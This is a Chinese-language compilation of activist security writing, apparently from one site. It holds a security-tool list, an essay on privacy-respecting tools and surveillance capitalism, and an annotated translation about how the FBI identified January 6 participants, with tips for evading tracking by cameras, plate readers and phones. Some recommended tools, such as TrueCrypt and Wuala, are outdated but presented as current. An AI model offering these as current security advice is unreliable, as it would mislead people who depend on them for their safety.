- 您的网站是间歇性加载还是异常缓慢加载？网站可能会被其接收的页面请求的数量和速度所淹没—这是一个性能问题。这可能是“好事”，说明您的网站变得更受欢迎，并且只需要一些改进来响应更多读者—检查您的网站分析以获得长期增长模式。许多流行的博客和 CMS 平台（Joomla，WordPress，Drupal 等）都有插件来帮助您在本地缓存您的网站并集成 CDN，这可以显著提高网站性能和恢复能力。

——安全工具——

我们已经推荐过不少安全工具啦，以下这些精简出来的工具，基本是几乎每个人都应该使用的。除了最为普通的常识工具之外，它们还包括：

」关于计算机软件和在线浏览

AVAST！：一款免费的全功能防病毒程序，可检测并清除家庭或个人计算机中的恶意软件和病毒。

CCleaner ：一种可永久删除浏览器历史记录 cookie、以及其他临时文件的工具，也是可限制恶意监控或感染个人计算机的方式。

Prey Anti-Theft ：一款非常实用的跨平台和开源设备跟踪工具。

Prism-break ：一个网站，为常用的专有软件提供了许多更安全的开源替代方案，使用户能够减轻 NSA 监控和臭名昭著的 PRISM 计划。

Tor 就无需介绍啦。

电话（这部分很重要）：

CSipSimple：一个用于进行安全呼叫的工具。

Open Whisper Systems：适用于 iPhone 的免费全球加密电话呼叫。

RedPhone：为您的呼叫提供端到端加密，保护您的对话，以便任何人都无法收听。

SilentCircle ：是适用于 iOS 和 Android的 安全移动通信解决方案，包括语音，文本，视频，文件传输等。

Surespot：一种安全的移动消息应用程序，可为每个文本，图像和语音消息使用端到端加密，从而恢复您的隐私权。

安全沟通：

HTTPS Everywhere ：一个安全的浏览器应用程序，可以为任何支持它的网站自动将通信协议更改为加密的 Https。它由 EFF 开发。适用于 Firefox 和 Chrome。

Jitsi ：是一个跨平台，免费和开源的程序，支持通过 Internet 进行即时消息（IM）语音和视频聊天。

Obscuracam：Android 的照片和视频应用程序，可用于在视觉匿名（像素化）照片或视频中人物的面部。它是由卫报项目开发的。

Riseup：一个安全的电子邮件客户端，适用于从事社会变革的人员和团体，为他们提供相对安全的电子邮件通信方式。

Thunderbird ：一个免费的开源电子邮件客户端，用于接收，发送和存储电子邮件。

密码和存储管理员：

Keepass：一个方便的密码管理器，使用户能够将所有密码保存在一个安全加密的数据库中，该数据库由一个主密钥锁定。

Keysync：一种同步您的可信程序的软件。

Truecrypt：一种文件加密工具，可以将敏感数据加密到整个分区，存储设备（如USB驱动器）或看起来像普通文件的虚拟磁盘。

Wuala：一个相对安全的云存储（虽然我们不希望推荐云）不过在这里所有文件都会自动加密。Wuala由 LaCie 开发。您可以选择使用。

原文

技术是愚蠢的-这就是为什么您应该格外小心：基本手册给行动者、敏感人士和任何期待安全的普通公民

护盾（AS）自我保护措施-技术技巧以防身

【2021年5月14日存档】我们有一些障碍需要克服，包括自身的、也包括系统性的，资源垄断可能是最为深层的灾难之源。但不要过于沮丧，我们现在依旧能有一些办法可以减轻危害，关键在于，您必须理解一些重要的问题 ……

本文将讨论的是，在这个复杂的时代里，如果我们想负责任地远程行动和工作，哪种技术是好的、安全的、适合使用的？如何决定您应该信任哪些技术？以及，未来可以做些什么来使回答这个问题比现在更容易。

权衡利弊通常不是很吸引人

「图」

在这个危机时期，全世界正处于技术的十字路口上。人们正面临着看似高效、快捷的技术与看似道德、安全的技术之间的权衡。无论哪种情况，我们都必须处理长期的政治和社会后果 —— 究竟是放弃我们的价值观，还是投资于公平的技术。

每当有事情发生，迫使人们重新思考什么样的技术是可用的，以及应该如何使用它的时候，权利组织都会被问到：推荐什么样的工具是用户友好的、实用的，并且不会危及人们的安全、隐私和保障？也就是说最常用工具的替代品是什么。许多人要求推荐以用户权利和隐私原则为主要设计选择的沟通、协作和网络工具，尤其是，这些工具在工作时必需不会出现 **Facebook**、**Alphabet** 或类似寡头公司的大数据囤积综合体。

在当前冠状病毒大流行期间，这些问题变得更加频繁。人们的期望

是，终极的无懈可击的现成工具箱；人们想要的是他们应该安装的工具清单，他们可能不想去解决为什么要使用这些工具或为什么不使用这些工具的问题，这些问题其实是很难的。情况有急迫性，人们对自己所做的每一步选择都会非常小心，所以我们最终往往会建议一些简单易用的替代方案，这些方案对技能、资源和时间的投入要求较低。但这并不是—— 也不应该是 —— 如此简单。

本文汇编了关于远程协同工作技术的解释、意见和建议。您还会发现很多关于进一步阅读的想法以及在哪里可以找到它。本文分为四个部分，它需要您花一些时间来阅读，但我们希望它是值得的。

第1部分：您的屏幕背后发生了什么？

「图」

人们经常有这样一种想法，即 有一些工具可以始终为每个人、每个地方工作；不需要额外的知识和额外的基础设施；公平公正，并在任何时候都能保护用户。可惜，这是一个尚未实现的梦想。

我们所掌握的东西离这个梦想还差得很远，非常远—— 20年来，我们已经看到从数据痕迹很少的独立工具到完全为采集尽可能多的个人数据而打造的工具的重大转变；但遗憾的是，今天人们所依赖的大多数工具都还是由那些只具有硅谷思维方式和依靠提取个人数据的商业模式的企业所制造的。

如果您没有时间读 Shoshana Zuboff 的《监视资本主义时代》这本书，至少要读读这篇采访。或者观看下面这个简短的纪录片。顺便说，这本书是有中文版的，您可以在上面链接中免费下载。

我们现在可以有两种方法来处理数据控制和技术选择的问题：一种是缓解，或“让它不那么糟糕”；列表-1 “技术防身” 和列表-5 “护盾” 两个栏目中收集了很多内容，其中至少一半内容就是为了这一需求的。我们理解许多个人、团体和组织无法对自己正在使用的技术进行重大或急剧的转变，这可能是由于缺乏资源、技能、知识、帮助或资金。对此的解决方案是满足他们的需求，并在已知的环境中引入渐进式的改变和逐步改进。这种方法也许不能解决根本性问题，但可以减少一些问题。它可以使用户走上正轨，更好地了解技术本身，并建立信心，以便在未来做出更多的选择，采取更雄心勃勃的步骤。

第二种方法是关于思维方式的改变，或者说 “短期痛苦，长期收益”。这一点更难实现，甚至目前为止连谈论它都不够直接。“可持续的、

安全的、独立的技术需要我们对技术的思维方式有更重大的转变。它需要更多的投资和资源。

尽管我们一直在提倡自由和开源的解决方案和自我托管，但这对许多小型团体和反抗组织来说可能不那么现实。更实际的是，这需要大量的资源：技术可能是免费的，但租用服务器或购买服务器却不能免费；维护它们也不是免费的：您不能依靠志愿者，它需要您不断更新自己的技能和资源。它还需要培训和资金环境：如果您想支持独立、安全、有弹性和可持续发展的组织，就必须像考虑管理、财务或人力资源一样考虑技术。

这些都是工作的基本工具，它们需要认真的长期投资。这种投资不仅要针对用户，也要针对技术制造者。其中一些工具之所以存在可用性问题、设计上的缺陷或陡峭的学习曲线，是因为它们是由资源极其有限的小规模的、专门的团队运行的。第二种方法不仅需要改变思维方式，还需要系统性的技术政治转变。

📌 这两种模式描述了我们现在的处境：要么吃快餐，要么自己种。前者方便，但不是很健康；后者对我们来说更好，但需要耗费时间和技术。

您能用封闭的和专有的工具建立一个民主、公平、开放的社会吗？您是否知道任何一个由公司拥有的公共空间还能运作良好？您是否经历过一个被监控摄像头和传感器封锁的公共空间还能运转良好？

我们现在使用的大多数工具不仅是基于“云”的，而且是为了尽可能的简单（所谓的无摩擦）和吸引尽可能多的用户（所谓社交性），而这些用户又会反过来依赖他们的平台（所谓的基于用户）。这些平台是免费提供的（你就是产品），他们把用户群变成了一个数据库（profiling），然后就可以据此赚钱（通过定向广告或类似的方式）。

📌 如果您想要具体了解自己被伤害成什么样了，可以参见这篇报告，《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》。

每当您点击“我同意”，让他们访问您的一切私密行为（元数据），并为 cookies、beacons、脚本和其他什么玩意儿提供所谓的便利——什么都可以，包括浏览器指纹（追踪器），灾难就开始了。一个解决方案是安装一个广告拦截器，但同样的数据也在被用来塑造您的整个体验：过滤气泡、定制机器人、提示、黑暗模式等等。

您对这些技术的体验远不是开放和自由的，它也远不是高质量的。现在人们已经知道了监视资本主义行业的这些事，但人们还是在使用这些工具，因为大家都在用，而且这些工具很容易依赖。

这里值得提出的另一个想法是关于依赖性。这些被数十亿人、公司甚至政府使用的集中式服务的任何崩溃或中断，都会造成同等程度的问题。大规模的依赖性会造成大规模的责任。您已经看到了，当 Facebook/WhatsApp 或 Google Docs 等服务出现短时间故障时，这意味着什么。如果它们瘫痪了几个星期呢？这些工具和其他工具一样 —— 它们有其极限和临界质量。问题是，它们何时会达到它们的极限，以及会带来什么后果。问题早已不在于是否，而在于何时。

最后一个想法是关于漏洞的。像英国这样的国家的首相在家里使用 Zoom 这样未经测试、不安全的专有软件来管理政府，这真的是一个好主意吗？这些挑战不仅是对民间社会的挑战。不仅是人权维护者和调查记者需要保密性和可信赖的工具来维护他们的诚信和安全，它同样适用于政府、企业、公共机构和任何个人。

“无摩擦” 等于毫不费力。但是您必须知道，在现实世界中，摩擦是理解系统和做出选择的必要条件，就像在个人关系中那样。同样，当我们在技术设计中消除摩擦时，东西变得更容易使用，但是，我们却失去了认知能力，无法理解它们是如何工作的，以及它们背后的商业模式是什么。

这种方法，再加上人们互动的 “游戏化”（奖励计划、无尽的滚动、积极的反馈循环），让人们对工具的做法产生依赖，否则人们可能不同意这种剥削的商业模式。Facebook 和剑桥分析公司的丑闻就是一个例子。📌 建议您阅读这份调查《心理操纵的秘密：”行为经济学”＋PR＝？》。

如果你对这些商业技术解决方案的资金来源感兴趣，可以阅读这里的报告 “IS VENTURE CAPITAL WORTH THE RISK? THE INDUSTRY SHAPED THE PAST DECADE. IT COULD DESTROY THE NEXT.”

危机，特别是像COVID-19这样的危机，不仅对社会、经济和民主造成了致命的危险，它还为促进和依靠专制的运作模式创造了肥沃的环境 —— 而技术在这里非常方便。

能够进行监控的技术总是以所谓的（国家）安全和保障的名义被推广。这并不是什么新鲜事，在其他类型的危机中或为了应对问题 —— 如所谓的恐怖主义、边境管制、或难民流动—— 全部都使用过。我

们已经可以看到，在应对COVID-19危机时，许多相同的技术—— 如手机地理定位追踪—— 正在被更广泛地侵入性地使用。因为《恐惧诉求是一种最强大的心理操纵工具》。

📌 您可以在这份报告中看到全世界的状况《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》；并推荐 Glenn 的文章《新的国内反恐战争即将来临，问题是，它会遇到多少反对》。

在这篇文章中，您会发现一些解决方案和相关参考资料 —— 它不是您正在寻找的万能的魔法清单，而是*更现实的*一种思考技术的方式，可以帮助您做出对自己、您的社区或您的组织有用的、知情的、可验证的选择。

📌 选择是存在的 —— 真正的挑战不仅在于如何做出选择，而且在于我们通过做出选择来支持一个什么样的社会。

第2部分：什么有效，什么无效

「图」

选择技术工具的一些有用原则

「图」

在这里我们将解释一些原则，这些原则一直驱动着人们的选择，我们将提出一些具体的建议。这里的想法是给您一个框架，帮助您找到合适的解决方案，满足您的具体需求，同时也适合您的能力和资源。如果您不同意，您可以随时做出自己的选择，其实这对您来说可能更可行 —— 这取决于什么对您更重要。

📌 如果您感觉理解这点有困难，请参照这里推荐的思考方式《私人威胁模型》；对于活动家，见这里《在线组织和互助需要多方面小心以维护所有参与者的安全：这里是基本注意事项》；对于敏感人士，或者您认为自己很可能在警察和间谍的雷达上，请关注我们的《在敌对环境中保护自己》系列，此处的链接为最后一集，其中包含该系列完整列表。

📌 当涉及到工具本身时，人们总是试图坚持这7个原则。它们必须是：# 开源的

- 具有足够可信度的（经审计的）
- 成熟的（足够稳定，有一个活跃的用户社区和反应灵敏的开发者社区）
- 用户友好
- 支持多语种（因此您可以找到自己的语言或进行本地化）
- 支持多平台 (Mac, Windows, Linux, Android)
- 有可用的文件资料

1. 《如何检查您的VPN连接是否实际加密》

- 《如何验证您的 VPN 连接是否安全？》

1. 《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项》

- 《使用社交媒体时你必须注意什么？—— 更安全的抵抗》
- 《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》
- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

1. 了解您所使用的工具的商业模式—— 他们是如何通过免费服务盈利的？

- 阅读条款和条件以及隐私政策（是的，我们知道那东西太难读了……但这些公司必须解释该技术是如何工作的）
- 想想哪种云适合您（大、中、小），如果您能负担得起自托管的费用，最好选择自托管
- 寻找使数据最小化的工具
- 仔细检查您正在使用的加密方式（端到端/传输）

1. 《警察如何利用抗议者的手机追踪每个人》

- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—Snowden访谈视频》
- 《你的手机知道一切，并且很愿意告诉警察：法律不保护你》
- 《您并不偏执，您的手机确实在窃听您所说的一切》
- 《手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》
- 《返回基础知识：普通人如何强化智能手机和计算机的安全

性》

现在在全世界很多地方，电信公司正在使用并与政府和公共机构分享移动数据，以跟踪、监测和隔离冠状病毒的传播，同时也是为了了解有多少人呆在家里，并确保他们呆在家里。全球各地每天都有关于这方面的新闻报道出现。在其他地方，政府正在与情报公司合作以监视所有公民，比如英国的 Palantir 公司。或者他们使用的工具生产的 SUCH COMPANIES AS NSO，为了支持大规模的情报收集和入侵公民。您可以在我们的 列表-2 “公私监控伙伴关系” 栏目中看到非常多的相关揭露。

剑桥分析公司的丑闻暴露了定向广告和心理操纵的使用—— 这两种方法已经被采用很多年，但只有那些从中赚钱的人知道。利用大数据（地理定位）追踪和遏制冠状病毒的传播，将有望再次暴露一些一直存在的问题 —— 就如斯诺登不断强调的：智能手机本身就是追踪器。如果您的手机启用了GPS，这些数据会变得更加丰富和精确。

在共享大数据的背景下，我们经常听到另一个神奇的词：“匿名化”。指的是一个将数据与用户身份分离的过程。这意味着，你可能能看到我的数据，比如我喜欢吃什么，或者我多久打一次车，但你不知道我是谁。但不幸的是，匿名化与 “安全” 都是一种愿望，并不是可以实现的永久状态。安全性是一个需要维持的持续过程；匿名化是一个给用户和收集他们数据的公司一些保护的过程。然而，如果您有足够的耐心和手头足够多的数据集，这个过程往往很容易被撤销。有很多例子表明，数据集去匿名化并重新识别为个人并不难做到，往往会暴露出用户最致命的信息。见《即使数据是匿名的，您的身份仍然可以被识别》、《数据匿名化的陷阱》。

您可以看一个简短的片子：

集体问题需要集体行动

「图」

民间社会没有强大的、尊重隐私的工具，因为几乎没有人投资于这种工具 —— 既没有投资者，也没有政府或私人资助者。矛盾的是，这些人往往是第一个要求推荐安全工具的人，并抱怨所推荐的工具不能真正满足他们的期望。

技术对于个人、组织、整个公民社会和公共领域都是至关重要的。人们不得不单单依靠私营部门，要知道私营部门的主要决策工具是利

润，这确实是个悲剧。目前，主流的工具和平台大多都是在美国的，一少部分来自中国（如 TikTok等）；其余极少部分来自俄罗斯（如 Yandex）等国家。所有这些解决方案大多基于对个人数据的利用。

👇 您可以在这里看到下面这个全球概览：

技术需要钱 —— 很多钱 —— 不仅要创造工具，更重要的是要维护它们。它们运作所需的基础设施更是昂贵。而更关键的是，创建和管理这些工具的人所需要的技能，总之没有便宜的东西。如果我们希望组织能够依靠持久可靠的解决方案，他们就需要获得专门的知识和资源，以自我托管他们所需的服务，或者拥有大规模工作的替代选择。目前，这两方面都不到位。

📌 仅仅不使用 Facebook、避免使用谷歌、甚至在手机上安装定制 ROM（操作系统），或者完全依赖开源，已经不够了（虽然我们仍然在这么做）。说实话，现在需要的是集体行动 —— 并不是试图回到数据成为十亿美元资产之前的旧时代，而是向前走。

📌 这是一个重要的时刻，我们要了解我们所拥有的选择有什么问题，以及这些做法对不同部门（如教育）、对需要它们的社区和整个社会有什么影响。这是一个极好的时机，可以重新评估我们所需要的工具以及我们需要这些工具的原因，并对创造符合公众利益的可行替代方案进行创新。

抗击冠状病毒需要合作、团结和联网。它需要良好的科学和出色的决策。所有这些应对措施都需要得到技术的支持，或者被技术所利用。现在是决定您站在哪一边的时候了。

这篇文字的大部分内容都集中在个人和小团体的需求和技术上，他们可以在远程工作高度化的时代使用这些技术。值得一提的是，当涉及到更大的机构和组织时，本文中所概述的问题就更大了：基金会、大学、学校、医院、援助机构、正式和非正式网络。所有这些较大的实体也不得不在一夜之间转向虚拟的运作模式。他们现在正在对平台、供应商、服务、工具和应用程序做出关键性的决定，却没有适当的时间来培训如何使用这些技术，而且往往没有额外的资金。

他们必须审视自己拥有的资源、义务、期望和需求。同样，效率也很重要，往往比其他事情更重要。就机构而言 —— 就个人而言也一样 —— 很难想象一个世界，例如 微软、谷歌和 Zoom 没有为学校提供便利。这些服务无疑让学校变得更高效、更便宜、更容易实现虚拟，但是，它们带来的问题与我们一直在讨论的大型平台和权衡的问题相

同。📌 想象替代技术需要想象替代性的技术政治（比如谁收集数据，如何收集，谁从中受益），尤其是替代性的商业模式，打破监视资本主义体制 —— 如果将税收贡献用于创造公益技术，会发生什么？

如果你想读到更多关于技术修复的问题，可以在这里下载一篇论文《效率与疯狂》。

我们不是在做远程工作或远程教育，好像一切都很好；我们正在努力工作、学习，在巨大的健康危机中继续做重要的事。没有人知道这种情况会持续多久，但我们知道它将扩展到我们生活的方方面面，它将改变我们未来做事的方式 —— 国内、职业、社会、经济、政治等等。机构、组织、政府和个人现在做出的决定将决定我们未来的工作方式。

📌 请记住，目前为止都完全没有以硅谷思维开发的工具适合这种目的。不要让冠状病毒的即时性蒙蔽了双眼，不要把自己锁定在不适合公民社会需求的技术中，从而看不到长期的后果。

我们也要利用这个时间来反思和重新思考。这种突然的放缓、封锁和彼此分离很可能会在不同的地方持续很长时间。没有人知道它会变得多么糟糕。在某些情况下，它将使专制政权和寡头联盟能够攫取更多的权力。

然而，这也可能是一个清晰、认识、团结和协作的时刻，所以，当我们从这个时刻走出来时，会有很多事情要做。也许现在我们有了一个很好的理由，花点时间、投入资金并找到支持去做正确的事。

技术是愚蠢的，您的智能手机是愚蠢的，人工智能也是愚蠢的。问题是：我们这些人类能有多聪明……〇

原文

数字追踪：政府间谍如何识别，跟踪和围捕异议人士 - iyouport

护盾（AS）维稳面面观

这是一整套监控追捕方式的汇总。您应该了解您的对手的能力

【注】首先强调：本文不关心参加国会大厦暴动的人，就如我们在研究俄罗斯黑客是如何被抓住的时并不是关心俄罗斯黑客。我们关心的是您！您不会参加国会大厦暴动，但您想要民主、您知道现状的不公正、您想要摆脱剥削和压迫，甚至，您只是想要自由地抱怨几声、只是围观了一场运动，甚至以上都不是，您仅仅是碰巧在一个时间里路经某个地方 …… 简单说，如果您没有足够的防护措施，只要政府想要抓到你，他们随时都可以，这和您做了或没做什么，完全无关。

我们不应该允许这种事发生。尤其是反抗者，不要轻易被抓住，这是行动主义的基础要义；不要让您的对手那么轻易得逞，就是您的成功。

本文介绍的是全世界最强大的间谍机构之一，关于他们是如何抓捕他们想要的人。也就是说，当政府间谍能力最强、最专业的情况下，他们会做些什么。

如今全世界政府所掌握的基本技术工具越来越趋紧一致，尤其是，这些监视技术跨国流通的规模越来越大，于是各国政府能做的事、和他们想要做一件事时的思考方式，会非常接近；加之，所有国家的政府间谍都会竭尽全力针对异议人士，所以，如果您有办法抵御“最强大”的那一种，那么其他的，就不在话下了。这就是制作本文的目的。

本文的作者是宪法律师和作家 John W. Whitehead ，他是拉瑟福德研究所的创始人和主席。拉瑟福德研究所（Rutherford Institute）是一家非营利性组织，位于美国弗吉尼亚州的夏洛茨维尔（Charlottesville），致力于捍卫公民自由和人权。它的座右铭是“我们的职责是使政府遵守宪法的规定”。

我们在文中添加了很多具体解释，尤其是防御方案。

> “人们应该有选择生活的自由，但只有当没有监视和政府的监管时，这才有可能。我们应该得到这种自由，但实现这种自由的窗口每天都在缩小。如果我们现在不采取行动、不能激发紧迫感，它很可能就会永远关闭。”—— 查理·沃泽尔和斯图尔特·汤普森，《

一个个数据点，我们正在建立自己的电子集中营。随着我们获得的每一项新的智能技术，我们下载的每一个新的应用程序，我们在网上分享的每一张新的照片或帖子，我们正在使政府及其企业合作伙伴更容易识别、跟踪并最终围捕我们。

不管是圣人还是罪人，这都不重要，因为我们所有人都被卷入了一个庞大的数字数据拖网中，这个拖网并不区分哪些是无罪者、哪些是嫌疑人或罪犯。

生活在一个可疑的社会中

「图」

政府为围捕那些参与国会暴动的人所做的努力，恰恰说明了我们所有人在监控国家的威胁面前是多么的脆弱，这个国家渴望对我们每个人的生活有一种上帝般的认识。

依靠自拍、社交媒体帖子、位置数据、地理标签照片、面部识别、监控摄像头和群众斗群众，政府人员正在编制一个庞大的数据库，记录2021年1月6日可能在国会大厦附近任何地方出现过的任何人和每个人。

- 如果您错过了《从冷战到反恐战争：专制“解决方案”带来的危害往往大于其表面上旨在应对的威胁》

数字信息的数量是惊人的。15,000小时的监控视频和随身摄像机录像、1600台电子设备、27万条数字媒体线索、至少14万张照片和视频、以及数千部智能手机的10万个位置定位。

而这只是我们所知道的一小部分。

在1月6日的事件中，已经有来自40个州的300多人被起诉，另有280人被捕。还有多达500人仍在被政府人员追捕。

此外，这次的数据汇总中还包括了一些人，他们可能与那场暴乱毫无关系，但他们的手机定位数据表明他们在错误的时间出现在错误的地点。

“在没有被证明有罪之前，就是无辜的” 这句真理已经过时

「图」

在像我们这样一个可疑的社会里，举证责任已经翻转：现在，所有人从一开始就是有罪的，你必须证明你的清白。

例如，你甚至不需要参与国会暴动，就有义务接受FBI的喝茶：据报道，调查人员一直在追踪和询问任何手机连接到附近Wi-Fi或国会附近手机塔的人。其中有一个人，那天他和女儿们出去散步，结果被困在国会大厦人群附近，几天后，FBI探员居然出现在他家门口。利用谷歌地图，特工们能够准确定位每一个人在某个时候站在哪里，站了多长时间。

这就是为什么斯诺登说手机根本上就是监视设备，在这里看到《斯诺登：智能手机本身就是不安全的东西》。

政府多年来所掌握的许多令人毛骨悚然、精于算计、具有强烈侵犯性的调查和监视工具，此刻都在FBI将暴乱者 “绳之以法” 的持续努力中充分展示出来。

FBI探员正在将照片与驾驶执照照片进行对比；通过车牌阅读器追踪行踪；并将痣、疤痕和纹身等物理识别标志，以及衣服和背包上的标牌、标识、和符号进行放大。他们正在仔细研究数小时的监控视频和身体摄像头镜头；搜索社交媒体帖子；对手机信号塔和WiFi信号进行三角测量；在此基础上叠加面部识别软件；然后将镜头与公共社交媒体帖子进行交叉对比。

以上这些追踪手段我们都详细分析过：

关于身体特征《掌纹、疤痕、纹身、物理标记、声音 ……一切都用来跟踪你》；尤其是，如果您在参与行动、或者任何不希望被追踪监视的情况下，必需注意遮住身体上任何可识别的信号 —— 您有纹身吗？有疤痕吗？在面部和身体裸露部位有胎记吗？或者明显的痣？必需全部遮住。

详细措施见这里《从雨伞到激光、气球到电动工具：示威参与者指南

（5）；战术器具汇总》。尤其是，《整体安全》系列教程是您需要了解的 —— 共12集，它详细讲述了从组织到协作再到行动的每一个阶段的安全性防护（此处链接为最后一集，其中包含完整列表）。

关于车牌阅读器《如何愚弄自动车牌阅读器？》，这在中国已经非常流行。并且，您知道，仅仅遮住车牌很可能没有用，而且越来越没用 —— 在越来越多的汽车联网的情况下，在这里看到《他们实时跟踪全世界150亿辆汽车的一举一动：强大监视能力正在推销给政府》；更何况在几乎所有国家，遮挡车牌都是非法的，您只会更快被抓住。

这就是为什么我们在《完美隐身》系列中提醒：如果您正在去参与不想要被追踪监视的活动、或者您正在逃跑，不要开车，去做现金支付的公交车；不要使用交通卡、不要用手机打车，当然，也不要使用扫码租用的自行车。“完美隐身”系列的内容很重要 —— 共7集，从在线到现实，全面介绍如何保护您的安全。

关于身体相机，《身体相机适得其反吗？中国正在开始流行这种东西》；以及，关于摄像头《让监视摄像头失明：示威参与者指南（11）》（请注意，这不是战术，真正的战术需要您的创造力 —— 包括黑客主义，您懂的）。

关于社交媒体帖子《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》；如何保护自己的方法《社交媒体情报和反情报基本工具手册：自我人肉（2）》

尤其是！《社交媒体上的行动主义安全性：框架手册》这是一个系统性介绍，您在您的亲密团队中培训安全技巧时应该用得到。

如果您是围观者，您没有参加行动，但是您在关注行动，请注意《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》。

关于手机，《警察如何利用抗议者的手机追踪每个人》，以及《手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您》；关于防御《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》。

关于Wi-Fi，《Wi-Fi是如何出卖你的？》，以及一个方法（有点小众），《如何通过欺骗Wi-Fi热点来更改手机坐标》。

“Deep State Dogs”

「图」

然而，这不仅仅是联邦调查局的追捕。

他们还请来了 “Deep State Dogs” 等民间志愿者的帮助，合作完成这项繁重的工作（也就是公开招募的线人。这与您如何认识国会大厦暴动没有关系，与政府合作对公民进行追踪监视的人，就是政府线人）。

正如 Dinah Voyles Pulver 所报道的那样，一旦 Deep State Dogs 找到一个人并确认了其身份，他们就会把这个人的姓名、地址、电话号码、和多张照片放在一起，然后寄给FBI。

据《今日美国》报道，FBI 依靠民众和志愿网络（线人）侦探来帮助支撑其案件调查。

这将那个著名的群众斗群众告密计划 **“See Something, Say Something”** 提升到了一个全新的高度。

要吸取的教训是：不只有老大哥，还老大姐，更有老大哥和老大姐们的朋友们，都在监视着你。

他们会看到你的一举一动：你读了什么书，花了多少钱，去了哪里，和谁交流，早上什么时候起床，在电视上看了什么，在网上看了什么。

你的一举一动都在被监控、被挖掘数据、被计算、被制表，以便形成一幅关于你是谁的图画，是什么让你心动，以及在有必要时如何最好地操纵你，使你符合当权者的要求。

只要在 Facebook 上点赞或分享这篇文章，在 Twitter 上转发，或者仅仅是阅读这篇文章或任何其他与政府不法行为、监控、警方不当行为、或公民自由有关的文章，就足以让你被归类为 “具有特定利益的人”，这些利益反映了一种特定的心态，而这种心态可能恰恰会导致你从事特定的活动，因此，当局将你作为潜在的麻烦制造者，而置于政府调查的十字准线上。

这就是他们一直在对 **Wikileaks** 做的事，见《情报部门如何监视了所有支持 Wikileaks 的人，甚至包括仅仅点击了网页的游客》。

据《华盛顿邮报》报道，你有可能已经被分配了一个颜色编码的 “威胁性分值”—— 绿色、黄色或红色 —— 因此，警方会根据你是否曾

在军队工作过、是否在 Facebook 上发布过被视为威胁的评论、是否患有某种特定的疾病、或者是否认识 “可能犯罪” 的人等等，对你的潜在倾向性进行预警。

想想中国的 “健康码”？差不多的样子，但是，这里不是为监视您的出行状况给您的打分，而是监视您的政治倾向，以给您打分，关于 —— 您有多少程度的可能性造反。这就是所谓的 “预测型警务”，即 “少数派报告”，《“未来是一项方程式” – 少数派报告的威胁不是这两年才有的新事物》；中国的 “社会信用评分” 就是最经典的少数派报告监视项目，并且已经在多个国家流行《“社会信用”监视：英国、中国、美国和日本》。

换句话说，你可能已经在某个政府数据库中被标记为潜在的反政府人士了—— 比如说，**Main Core** —— 该数据库可以识别和追踪任何不愿意屈从于警察国家的人。

政府知道一切。

联邦调查局花了几天，甚至只有几小时或几分钟，就开始了识别、追踪和围捕那些涉嫌参与国会暴动的人的过程。

想象一下，根据我们留下的数字轨迹和数字足迹，这些政府间谍可以多么迅速地锁定和围捕任何一个他们想要的社会阶层。

当然，政府多年来一直在努力获取这些专制权力。

他们需要的只是数据

「图」

早在1月6日对暴动之前，FBI就在忙着积累必要的监控工具，以监控社交媒体的帖子，利用手机信号和面部识别技术追踪和识别任何人，并围捕那些可能因某种原因而引起政府兴趣的所谓 “嫌疑人”。

正如 The Intercept 报道的那样，FBI、CIA、NSA和其他政府机构都已经越来越多地投资于企业监控技术，这些技术可以挖掘 Facebook、Twitter 和 Instagram 等社交媒体平台上受宪法保护的言论，并据此预测谁有可能在未来从事 “反政府行为”。

它所需要的只是数据，而90%以上的年轻人和65%的成年人都乐意提供这些数据。

当政府看到了一切，知道了一切，并且有大量的法律可以让最看似正直的公民也成为罪犯和违法者时，那么，如果你“没有什么可隐瞒的，就没有什么可担心的”，这句老话就不再适用了。

至于第四修正案及其对无证搜查和无正当理由侵犯隐私的禁令，这些保障措施已经被立法的末路、司法的借口和“公私监控伙伴关系”的企业勾结弄得一无是处了。

我们现在发现自己已经处于被技术监控、管制和控制的尴尬境地，技术不是对我们这些公民负责，而是对政府和巨头公司这些统治阶级负责。

想想看，在任何一天，每一个普通人的日常事务都会被政府和企业的耳目以20多种不同的方式监控、监视、间谍和跟踪。无论你是在商店里走动、开车、查看电子邮件，还是与朋友和家人通电话，你都可以肯定，一些政府机构，无论是国家安全局还是其他实体，都在监听和跟踪你的一举一动。

这还没有开始触及那些监控你的购物、网页浏览、社交媒体帖子、和其他网络领域活动的企业追踪器。关于这些追踪器如何行为，见《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》。

例如，警方一直在使用“黄貂鱼”设备，在没有法院签发的搜查令的情况下随意拦截手机电话和短信。多普勒雷达设备可以探测人的呼吸和在住宅内的动作，已经被警方用来监视他们想要的任何人，并据此寻求逮捕令。

关于“黄貂鱼”《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》。并且现在，《黄貂鱼被放在飞机上一次性监控成千上万部手机》。

车牌读取器是另一种由国土安全部提供资金而实现的执法监视设备，每分钟可以记录多达1800个车牌。此外，这些监控摄像头还可以拍摄行驶中的车内人员。报道称，缉毒局一直在利用这些摄像头与面部识别软件相结合，建立一个全国汽车、司机和乘客的“车辆监控数据库”。

换句话说，即便您自己不开车，只要您坐在别人的私家车里（包括Uber），您就已经在这个数据库里面了。

智能人行道和“公共空间”监视摄像头，作为打击犯罪的可靠手段卖

给容易受骗的社区，是国土安全部的又一个项目，它用政府资助和监控的摄像头覆盖了大小城镇。这都是公私监控伙伴关系的一部分（我们的 列表-4 中有同名板块，其中收录的内容能可见看到这一规模有多大），政府官员可以使用各种方式安装的监控摄像头—— 而不仅仅是政府自己安装的，包括人行道上、建筑物上、公共汽车上，甚至安装在私人财产上的摄像头。

将这些监控摄像头与面部识别和行为感应技术结合起来，你就有了“准罪犯”影像的雏形，它可以扫描你的行为举止，将你与预先设定的所谓“正常”行为参数进行比较，如果你触发了任何电脑警报，就会提醒警察你是“可疑的”。

